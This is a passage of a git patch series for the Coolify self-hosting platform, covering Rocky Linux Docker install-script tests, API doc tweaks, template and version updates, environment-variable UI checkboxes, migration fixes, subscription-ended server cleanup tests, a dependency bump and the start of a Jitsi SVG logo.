+function expectRockyInstallScriptToUseRhelRepo(string $path): void
+{
+    $installScript = file_get_contents(base_path($path));
+
+    expect($installScript)
+        ->toContain('install_docker_from_rhel_repo() {')
+        ->toContain('echo " - Installing Docker from the RHEL repository for Rocky Linux..."')
+        ->toContain('rm -f /etc/yum.repos.d/docker-ce.repo /etc/yum.repos.d/docker-ce-staging.repo')
+        ->toContain('dnf config-manager --add-repo https://download.docker.com/linux/rhel/docker-ce.repo')
+        ->toContain('dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin')
+        ->toContain('systemctl --now enable docker')
+        ->toContain('"rocky")')
+        ->toContain('install_docker_from_rhel_repo')
+        ->not->toContain('dnf -y -q --setopt=install_weak_deps=False install dnf-plugins-core')
+        ->not->toContain('dnf5 config-manager addrepo --overwrite --save-filename=docker-ce.repo --from-repofile=https://download.docker.com/linux/rhel/docker-ce.repo')
+        ->not->toContain('dnf makecache')
+        ->not->toContain('"ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "rocky" | "sles")');
+}
+
+it('uses the rocky linux documented docker install flow in the stable install script', function () {
+    expectRockyInstallScriptToUseRhelRepo('scripts/install.sh');
+});
+
+it('uses the rocky linux documented docker install flow in the nightly install script', function () {
+    expectRockyInstallScriptToUseRhelRepo('other/nightly/install.sh');
+});

From 6b609536a5b456fb4aa2c0d8ea0407490d3b1f50 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 14 Apr 2026 11:16:18 +0200
Subject: [PATCH 041/102] fix(templates): mark Cal.com as AMD-only

Add the `amd_only` flag to the Cal.com service entry in both template JSON files so it is constrained to supported architecture.
---
 openapi.json                            | 12 ++++++------
 openapi.yaml                            | 12 ++++++------
 templates/service-templates-latest.json |  3 ++-
 templates/service-templates.json        |  3 ++-
 4 files changed, 16 insertions(+), 14 deletions(-)

diff --git a/openapi.json b/openapi.json
index 239068300..e4e03c99d 100644
--- a/openapi.json
+++ b/openapi.json
@@ -361,7 +361,7 @@
                                                 },
                                                 "domain": {
                                                     "type": "string",
-                                                    "description": "Comma-separated list of URLs (e.g. \"http:\/\/app.coolify.io,https:\/\/app2.coolify.io\")"
+                                                    "description": "Comma-separated list of URLs (e.g. \"https:\/\/app.coolify.io,https:\/\/app2.coolify.io\")"
                                                 }
                                             },
                                             "type": "object"
@@ -811,7 +811,7 @@
                                                 },
                                                 "domain": {
                                                     "type": "string",
-                                                    "description": "Comma-separated list of URLs (e.g. \"http:\/\/app.coolify.io,https:\/\/app2.coolify.io\")"
+                                                    "description": "Comma-separated list of URLs (e.g. \"https:\/\/app.coolify.io,https:\/\/app2.coolify.io\")"
                                                 }
                                             },
                                             "type": "object"
@@ -1261,7 +1261,7 @@
                                                 },
                                                 "domain": {
                                                     "type": "string",
-                                                    "description": "Comma-separated list of URLs (e.g. \"http:\/\/app.coolify.io,https:\/\/app2.coolify.io\")"
+                                                    "description": "Comma-separated list of URLs (e.g. \"https:\/\/app.coolify.io,https:\/\/app2.coolify.io\")"
                                                 }
                                             },
                                             "type": "object"
@@ -2692,7 +2692,7 @@
                                                 },
                                                 "domain": {
                                                     "type": "string",
-                                                    "description": "Comma-separated list of URLs (e.g. \"http:\/\/app.coolify.io,https:\/\/app2.coolify.io\")"
+                                                    "description": "Comma-separated list of URLs (e.g. \"https:\/\/app.coolify.io,https:\/\/app2.coolify.io\")"
                                                 }
                                             },
                                             "type": "object"
@@ -10811,7 +10811,7 @@
                                                 },
                                                 "url": {
                                                     "type": "string",
-                                                    "description": "Comma-separated list of URLs (e.g. \"http:\/\/app.coolify.io,https:\/\/app2.coolify.io\")."
+                                                    "description": "Comma-separated list of URLs (e.g. \"https:\/\/app.coolify.io,https:\/\/app2.coolify.io\")."
                                                 }
                                             },
                                             "type": "object"
@@ -11142,7 +11142,7 @@
                                                 },
                                                 "url": {
                                                     "type": "string",
-                                                    "description": "Comma-separated list of URLs (e.g. \"http:\/\/app.coolify.io,https:\/\/app2.coolify.io\")."
+                                                    "description": "Comma-separated list of URLs (e.g. \"https:\/\/app.coolify.io,https:\/\/app2.coolify.io\")."
                                                 }
                                             },
                                             "type": "object"
diff --git a/openapi.yaml b/openapi.yaml
index 5bf6059af..f2761de59 100644
--- a/openapi.yaml
+++ b/openapi.yaml
@@ -258,7 +258,7 @@ paths:
                 docker_compose_domains:
                   type: array
                   description: 'Array of URLs to be applied to containers of a dockercompose application.'
-                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, domain: { type: string, description: 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io")' } }, type: object }
+                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, domain: { type: string, description: 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io")' } }, type: object }
                 watch_paths:
                   type: string
                   description: 'The watch paths.'
@@ -546,7 +546,7 @@ paths:
                 docker_compose_domains:
                   type: array
                   description: 'Array of URLs to be applied to containers of a dockercompose application.'
-                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, domain: { type: string, description: 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io")' } }, type: object }
+                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, domain: { type: string, description: 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io")' } }, type: object }
                 watch_paths:
                   type: string
                   description: 'The watch paths.'
@@ -834,7 +834,7 @@ paths:
                 docker_compose_domains:
                   type: array
                   description: 'Array of URLs to be applied to containers of a dockercompose application.'
-                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, domain: { type: string, description: 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io")' } }, type: object }
+                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, domain: { type: string, description: 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io")' } }, type: object }
                 watch_paths:
                   type: string
                   description: 'The watch paths.'
@@ -1735,7 +1735,7 @@ paths:
                 docker_compose_domains:
                   type: array
                   description: 'Array of URLs to be applied to containers of a dockercompose application.'
-                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, domain: { type: string, description: 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io")' } }, type: object }
+                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, domain: { type: string, description: 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io")' } }, type: object }
                 watch_paths:
                   type: string
                   description: 'The watch paths.'
@@ -6886,7 +6886,7 @@ paths:
                 urls:
                   type: array
                   description: 'Array of URLs to be applied to containers of a service.'
-                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, url: { type: string, description: 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io").' } }, type: object }
+                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, url: { type: string, description: 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io").' } }, type: object }
                 force_domain_override:
                   type: boolean
                   default: false
@@ -7075,7 +7075,7 @@ paths:
                 urls:
                   type: array
                   description: 'Array of URLs to be applied to containers of a service.'
-                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, url: { type: string, description: 'Comma-separated list of URLs (e.g. "http://app.coolify.io,https://app2.coolify.io").' } }, type: object }
+                  items: { properties: { name: { type: string, description: 'The service name as defined in docker-compose.' }, url: { type: string, description: 'Comma-separated list of URLs (e.g. "https://app.coolify.io,https://app2.coolify.io").' } }, type: object }
                 force_domain_override:
                   type: boolean
                   default: false
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index 02b27976f..fdc99ae78 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -408,7 +408,8 @@
         "category": "productivity",
         "logo": "svgs/calcom.svg",
         "minversion": "0.0.0",
-        "port": "3000"
+        "port": "3000",
+        "amd_only": true
     },
     "calibre-web-automated-book-downloader": {
         "documentation": "https://github.com/calibrain/calibre-web-automated-book-downloader?utm_source=coolify.io",
diff --git a/templates/service-templates.json b/templates/service-templates.json
index b47f2c1ac..45e2185ed 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -408,7 +408,8 @@
         "category": "productivity",
         "logo": "svgs/calcom.svg",
         "minversion": "0.0.0",
-        "port": "3000"
+        "port": "3000",
+        "amd_only": true
     },
     "calibre-web-automated-book-downloader": {
         "documentation": "https://github.com/calibrain/calibre-web-automated-book-downloader?utm_source=coolify.io",

From df5a9e9ba38979805a8c5c1ac5a547a1f974c2e5 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 14 Apr 2026 11:29:50 +0200
Subject: [PATCH 042/102] chore(version): bump Coolify to 4.0.0-beta.474

Update the app version constant and synced version manifests for the latest beta release.
---
 config/constants.php        | 2 +-
 other/nightly/versions.json | 2 +-
 versions.json               | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/config/constants.php b/config/constants.php
index b8cd8f6d9..743b5e38c 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -2,7 +2,7 @@
 
 return [
     'coolify' => [
-        'version' => '4.0.0-beta.473',
+        'version' => '4.0.0-beta.474',
         'helper_version' => '1.0.13',
         'realtime_version' => '1.0.13',
         'self_hosted' => env('SELF_HOSTED', true),
diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index 7012f481e..27d911c67 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.473"
+            "version": "4.0.0-beta.474"
         },
         "nightly": {
             "version": "4.0.0"
diff --git a/versions.json b/versions.json
index 7012f481e..27d911c67 100644
--- a/versions.json
+++ b/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.473"
+            "version": "4.0.0-beta.474"
         },
         "nightly": {
             "version": "4.0.0"

From 68e8d6904dd29289413adfd52465138e28dae59f Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 14 Apr 2026 17:14:49 +0200
Subject: [PATCH 043/102] feat(env): add buildtime and runtime checkboxes for
 shared variables

Add is_buildtime and is_runtime checkboxes to shared environment
variable UI, shown in both editable and read-only (disabled) states.
---
 .../environment-variable/show.blade.php       | 24 +++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php
index b873a6f05..6630d0500 100644
--- a/resources/views/livewire/project/shared/environment-variable/show.blade.php
+++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php
@@ -43,6 +43,12 @@
                                 @endif
                             @else
                                 @if ($is_shared)
+                                    <x-forms.checkbox instantSave id="is_buildtime"
+                                        helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
+                                        label="Available at Buildtime" />
+                                    <x-forms.checkbox instantSave id="is_runtime"
+                                        helper="Make this variable available in the running container at runtime."
+                                        label="Available at Runtime" />
                                     <x-forms.checkbox instantSave id="is_literal"
                                         helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
                                         label="Is Literal?" />
@@ -89,6 +95,12 @@
                                 @endif
                             @else
                                 @if ($is_shared)
+                                    <x-forms.checkbox disabled id="is_buildtime"
+                                        helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
+                                        label="Available at Buildtime" />
+                                    <x-forms.checkbox disabled id="is_runtime"
+                                        helper="Make this variable available in the running container at runtime."
+                                        label="Available at Runtime" />
                                     <x-forms.checkbox disabled id="is_literal"
                                         helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
                                         label="Is Literal?" />
@@ -209,6 +221,12 @@
                                 @endif
                             @else
                                 @if ($is_shared)
+                                    <x-forms.checkbox instantSave id="is_buildtime"
+                                        helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
+                                        label="Available at Buildtime" />
+                                    <x-forms.checkbox instantSave id="is_runtime"
+                                        helper="Make this variable available in the running container at runtime."
+                                        label="Available at Runtime" />
                                     <x-forms.checkbox instantSave id="is_literal"
                                         helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
                                         label="Is Literal?" />
@@ -283,6 +301,12 @@
                                 @endif
                             @else
                                 @if ($is_shared)
+                                    <x-forms.checkbox disabled id="is_buildtime"
+                                        helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
+                                        label="Available at Buildtime" />
+                                    <x-forms.checkbox disabled id="is_runtime"
+                                        helper="Make this variable available in the running container at runtime."
+                                        label="Available at Runtime" />
                                     <x-forms.checkbox disabled id="is_literal"
                                         helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
                                         label="Is Literal?" />

From a5b3d3a53638717fd1ad97d6054039b7a7f73077 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 15 Apr 2026 14:24:41 +0200
Subject: [PATCH 044/102] fix(migrations): guard uuid column addition and
 filter teamless servers

- Skip uuid column creation if it already exists to prevent duplicate
  column errors on re-run
- Use chunkById instead of orderBy+chunk for efficient pagination
- Filter servers by whereHas('team') to avoid processing orphaned servers
  without a team relationship
---
 ...redefined_server_variables_to_existing_servers.php |  2 +-
 ...720_add_uuid_to_local_persistent_volumes_table.php | 11 ++++++-----
 2 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
index c67987e67..77fcf96a1 100644
--- a/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
+++ b/database/migrations/2025_12_24_133707_add_predefined_server_variables_to_existing_servers.php
@@ -11,7 +11,7 @@
      */
     public function up(): void
     {
-        Server::query()->chunk(100, function ($servers) {
+        Server::query()->whereHas('team')->chunk(100, function ($servers) {
             foreach ($servers as $server) {
                 $existingKeys = SharedEnvironmentVariable::where('type', 'server')
                     ->where('server_id', $server->id)
diff --git a/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php b/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php
index 6b4fb690d..ab279c592 100644
--- a/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php
+++ b/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php
@@ -10,14 +10,15 @@
 {
     public function up(): void
     {
-        Schema::table('local_persistent_volumes', function (Blueprint $table) {
-            $table->string('uuid')->nullable()->after('id');
-        });
+        if (! Schema::hasColumn('local_persistent_volumes', 'uuid')) {
+            Schema::table('local_persistent_volumes', function (Blueprint $table) {
+                $table->string('uuid')->nullable()->after('id');
+            });
+        }
 
         DB::table('local_persistent_volumes')
             ->whereNull('uuid')
-            ->orderBy('id')
-            ->chunk(1000, function ($volumes) {
+            ->chunkById(1000, function ($volumes) {
                 foreach ($volumes as $volume) {
                     DB::table('local_persistent_volumes')
                         ->where('id', $volume->id)

From 3a8f52ce16f3828884e48334895a15de3ade7755 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 15 Apr 2026 15:12:29 +0200
Subject: [PATCH 045/102] fix(team): mark servers unreachable when subscription
 ends

Set unreachable_count to 3 and unreachable_notification_sent to true
on all team servers in subscriptionEnded(), so the existing cleanup
command can pick them up after the 7-day grace period.

Also adds feature tests for the subscription-ended cleanup flow and
casts server IP to string in existing unreachable server tests to fix
type comparison.
---
 app/Models/Team.php                           |  4 +-
 .../Feature/CleanupUnreachableServersTest.php |  6 +-
 .../CleanupUnsubscribedServersTest.php        | 78 +++++++++++++++++++
 3 files changed, 84 insertions(+), 4 deletions(-)
 create mode 100644 tests/Feature/CleanupUnsubscribedServersTest.php

diff --git a/app/Models/Team.php b/app/Models/Team.php
index d5d564444..0fbcfe0c6 100644
--- a/app/Models/Team.php
+++ b/app/Models/Team.php
@@ -233,6 +233,9 @@ public function subscriptionEnded()
                 'is_reachable' => false,
             ]);
             ServerReachabilityChanged::dispatch($server);
+            $server->unreachable_count = 3;
+            $server->unreachable_notification_sent = true;
+            $server->save();
         }
     }
 
@@ -344,5 +347,4 @@ public function webhookNotificationSettings()
     {
         return $this->hasOne(WebhookNotificationSettings::class);
     }
-
 }
diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php
index edfd0511c..c06944969 100644
--- a/tests/Feature/CleanupUnreachableServersTest.php
+++ b/tests/Feature/CleanupUnreachableServersTest.php
@@ -30,7 +30,7 @@
         'updated_at' => now()->subDays(8),
     ]);
 
-    $originalIp = $server->ip;
+    $originalIp = (string) $server->ip;
 
     $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
 
@@ -47,7 +47,7 @@
         'updated_at' => now()->subDays(3),
     ]);
 
-    $originalIp = $server->ip;
+    $originalIp = (string) $server->ip;
 
     $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
 
@@ -64,7 +64,7 @@
         'updated_at' => now()->subDays(8),
     ]);
 
-    $originalIp = $server->ip;
+    $originalIp = (string) $server->ip;
 
     $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
 
diff --git a/tests/Feature/CleanupUnsubscribedServersTest.php b/tests/Feature/CleanupUnsubscribedServersTest.php
new file mode 100644
index 000000000..ee3fdb02d
--- /dev/null
+++ b/tests/Feature/CleanupUnsubscribedServersTest.php
@@ -0,0 +1,78 @@
+<?php
+
+use App\Models\Server;
+use App\Models\Subscription;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+it('sets unreachable fields on servers when subscription ends', function () {
+    $team = Team::factory()->create();
+    Subscription::create([
+        'team_id' => $team->id,
+        'stripe_invoice_paid' => true,
+    ]);
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+        'unreachable_count' => 0,
+        'unreachable_notification_sent' => false,
+    ]);
+
+    $team->subscriptionEnded();
+
+    $server->refresh();
+    expect($server->unreachable_count)->toBe(3);
+    expect($server->unreachable_notification_sent)->toBeTrue();
+});
+
+it('cleans up unsubscribed server IP after 7 days via cleanup command', function () {
+    $team = Team::factory()->create();
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+        'unreachable_count' => 3,
+        'unreachable_notification_sent' => true,
+        'updated_at' => now()->subDays(8),
+    ]);
+
+    $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+    $server->refresh();
+    expect($server->ip)->toBe('1.2.3.4');
+});
+
+it('does not clean up unsubscribed server IP within 7 day grace period', function () {
+    $team = Team::factory()->create();
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+        'unreachable_count' => 3,
+        'unreachable_notification_sent' => true,
+        'updated_at' => now()->subDays(3),
+    ]);
+
+    $originalIp = (string) $server->ip;
+
+    $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+    $server->refresh();
+    expect((string) $server->ip)->toBe($originalIp);
+});
+
+it('does not affect servers with active subscriptions', function () {
+    $team = Team::factory()->create();
+    Subscription::create([
+        'team_id' => $team->id,
+        'stripe_invoice_paid' => true,
+    ]);
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+        'unreachable_count' => 0,
+        'unreachable_notification_sent' => false,
+    ]);
+
+    $originalCount = $server->unreachable_count;
+    $originalNotification = $server->unreachable_notification_sent;
+
+    expect($originalCount)->toBe(0);
+    expect($originalNotification)->toBeFalse();
+});

From 0daf450efb8bb84ae4ec1995d4909a3c91e7164d Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Wed, 15 Apr 2026 19:04:15 +0000
Subject: [PATCH 046/102] build(deps-dev): bump follow-redirects from 1.15.11
 to 1.16.0

Bumps [follow-redirects](https://github.com/follow-redirects/follow-redirects) from 1.15.11 to 1.16.0.
- [Release notes](https://github.com/follow-redirects/follow-redirects/releases)
- [Commits](https://github.com/follow-redirects/follow-redirects/compare/v1.15.11...v1.16.0)

---
updated-dependencies:
- dependency-name: follow-redirects
  dependency-version: 1.16.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
---
 package-lock.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/package-lock.json b/package-lock.json
index 1fcd7cc1e..20aa0e822 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1781,9 +1781,9 @@
             }
         },
         "node_modules/follow-redirects": {
-            "version": "1.15.11",
-            "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz",
-            "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==",
+            "version": "1.16.0",
+            "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz",
+            "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==",
             "dev": true,
             "funding": [
                 {

From c07053d28b5e8ddd33f7212b628808f51ba996f1 Mon Sep 17 00:00:00 2001
From: miqonee <mixajgta@gmail.com>
Date: Thu, 16 Apr 2026 18:44:23 +0700
Subject: [PATCH 047/102] fix(templates): restore Jitsi Meet service template
 (#4813)

---
 svgs/jitsi.svg               | 650 +++++++++++++++++++++++++++++++++++
 templates/compose/jitsi.yaml | 144 ++++----
 2 files changed, 731 insertions(+), 63 deletions(-)
 create mode 100644 svgs/jitsi.svg

diff --git a/svgs/jitsi.svg b/svgs/jitsi.svg
new file mode 100644
index 000000000..5a3526ac8
--- /dev/null
+++ b/svgs/jitsi.svg
@@ -0,0 +1,650 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+   xmlns:dc="http://purl.org/dc/elements/1.1/"
+   xmlns:cc="http://creativecommons.org/ns#"
+   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+   xmlns:svg="http://www.w3.org/2000/svg"
+   xmlns="http://www.w3.org/2000/svg"
+   xmlns:xlink="http://www.w3.org/1999/xlink"
+   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+   width="744.09448819"
+   height="1052.3622047"
+   id="svg5488"
+   version="1.1"
+   inkscape:version="0.47 r22583"
+   sodipodi:docname="New document 5">
+  <defs
+     id="defs5490">
+    <inkscape:perspective
+       sodipodi:type="inkscape:persp3d"
+       inkscape:vp_x="0 : 526.18109 : 1"
+       inkscape:vp_y="0 : 1000 : 0"
+       inkscape:vp_z="744.09448 : 526.18109 : 1"
+       inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+       id="perspective5496" />
+    <inkscape:perspective
+       id="perspective5347"
+       inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+       inkscape:vp_z="1 : 0.5 : 1"
+       inkscape:vp_y="0 : 1000 : 0"
+       inkscape:vp_x="0 : 0.5 : 1"
+       sodipodi:type="inkscape:persp3d" />
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient8896"
+       id="linearGradient4242"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="translate(-297.23084,320.86007)"
+       x1="439.90353"
+       y1="455.73935"
+       x2="469.71744"
+       y2="557.74847" />
+    <linearGradient
+       id="linearGradient8896">
+      <stop
+         id="stop8898"
+         offset="0"
+         style="stop-color:#0f3060;stop-opacity:1;" />
+      <stop
+         style="stop-color:#0575ce;stop-opacity:1;"
+         offset="0.27115166"
+         id="stop8902" />
+      <stop
+         id="stop12553"
+         offset="0.7327472"
+         style="stop-color:#0575ce;stop-opacity:1;" />
+      <stop
+         style="stop-color:#0f3060;stop-opacity:1;"
+         offset="1"
+         id="stop8900" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient5041"
+       id="linearGradient4244"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="translate(-297.23084,320.86007)"
+       x1="382.80234"
+       y1="585.22589"
+       x2="347.44287"
+       y2="645.02435" />
+    <linearGradient
+       id="linearGradient5041">
+      <stop
+         style="stop-color:#092d61;stop-opacity:1;"
+         offset="0"
+         id="stop5043" />
+      <stop
+         id="stop5047"
+         offset="1"
+         style="stop-color:#0575ce;stop-opacity:1;" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3493"
+       id="linearGradient4246"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="translate(-297.23084,320.86007)"
+       x1="415.81378"
+       y1="620.09808"
+       x2="436.35599"
+       y2="486.43097" />
+    <linearGradient
+       id="linearGradient3493">
+      <stop
+         style="stop-color:#0f3060;stop-opacity:1;"
+         offset="0"
+         id="stop3495" />
+      <stop
+         id="stop3497"
+         offset="0.45698157"
+         style="stop-color:#0575ce;stop-opacity:1;" />
+      <stop
+         style="stop-color:#0575ce;stop-opacity:1;"
+         offset="0.73828435"
+         id="stop3501" />
+      <stop
+         id="stop3507"
+         offset="1"
+         style="stop-color:#0f3060;stop-opacity:1;" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3529"
+       id="linearGradient4248"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(0.245729,0,0,0.245729,34.35214,723.04037)"
+       x1="389.59329"
+       y1="763.3017"
+       x2="308.98642"
+       y2="420.01578" />
+    <linearGradient
+       id="linearGradient3529">
+      <stop
+         id="stop3531"
+         offset="0"
+         style="stop-color:#ff8000;stop-opacity:1;" />
+      <stop
+         style="stop-color:#fff4e1;stop-opacity:1;"
+         offset="0.6627211"
+         id="stop3533" />
+      <stop
+         id="stop3535"
+         offset="0.75"
+         style="stop-color:#fff4e1;stop-opacity:1;" />
+      <stop
+         id="stop3537"
+         offset="1.0000000"
+         style="stop-color:#ff8400;stop-opacity:1.0000000;" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3591"
+       id="linearGradient4250"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="translate(-297.23084,320.86007)"
+       x1="528.82031"
+       y1="511.71811"
+       x2="458.46918"
+       y2="527.10736" />
+    <linearGradient
+       id="linearGradient3591">
+      <stop
+         style="stop-color:#ffffff;stop-opacity:1;"
+         offset="0"
+         id="stop3593" />
+      <stop
+         style="stop-color:#ffffff;stop-opacity:0;"
+         offset="1"
+         id="stop3595" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient7434"
+       id="linearGradient4252"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(0.245729,0,0,0.245729,34.35214,723.04037)"
+       x1="197.17841"
+       y1="703.80151"
+       x2="146.54216"
+       y2="785.90436" />
+    <linearGradient
+       id="linearGradient7434">
+      <stop
+         id="stop7436"
+         offset="0"
+         style="stop-color:#ffc768;stop-opacity:1;" />
+      <stop
+         style="stop-color:#ff8400;stop-opacity:1.0000000;"
+         offset="0.37842149"
+         id="stop7438" />
+      <stop
+         id="stop7440"
+         offset="0.77420431"
+         style="stop-color:#ff8400;stop-opacity:1.0000000;" />
+      <stop
+         id="stop7442"
+         offset="1"
+         style="stop-color:#ffc768;stop-opacity:1;" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3591"
+       id="linearGradient4254"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(1.0334058,0,0,1.0138319,-309.91012,314.18347)"
+       x1="413.63229"
+       y1="484.60083"
+       x2="423.52518"
+       y2="541.83301" />
+    <linearGradient
+       id="linearGradient5384">
+      <stop
+         style="stop-color:#ffffff;stop-opacity:1;"
+         offset="0"
+         id="stop5386" />
+      <stop
+         style="stop-color:#ffffff;stop-opacity:0;"
+         offset="1"
+         id="stop5388" />
+    </linearGradient>
+    <linearGradient
+       inkscape:collect="always"
+       xlink:href="#linearGradient3509"
+       id="linearGradient4256"
+       gradientUnits="userSpaceOnUse"
+       gradientTransform="matrix(0.245729,0,0,0.245729,34.35214,723.04037)"
+       x1="409.69571"
+       y1="559.36359"
+       x2="467.88617"
+       y2="676.03516" />
+    <linearGradient
+       id="linearGradient3509">
+      <stop
+         id="stop3511"
+         offset="0"
+         style="stop-color:#ff8000;stop-opacity:1;" />
+      <stop
+         style="stop-color:#ffc768;stop-opacity:1.0000000;"
+         offset="0.34144846"
+         id="stop3513" />
+      <stop
+         id="stop3515"
+         offset="0.71198046"
+         style="stop-color:#ffc768;stop-opacity:1.0000000;" />
+      <stop
+         id="stop3517"
+         offset="1.0000000"
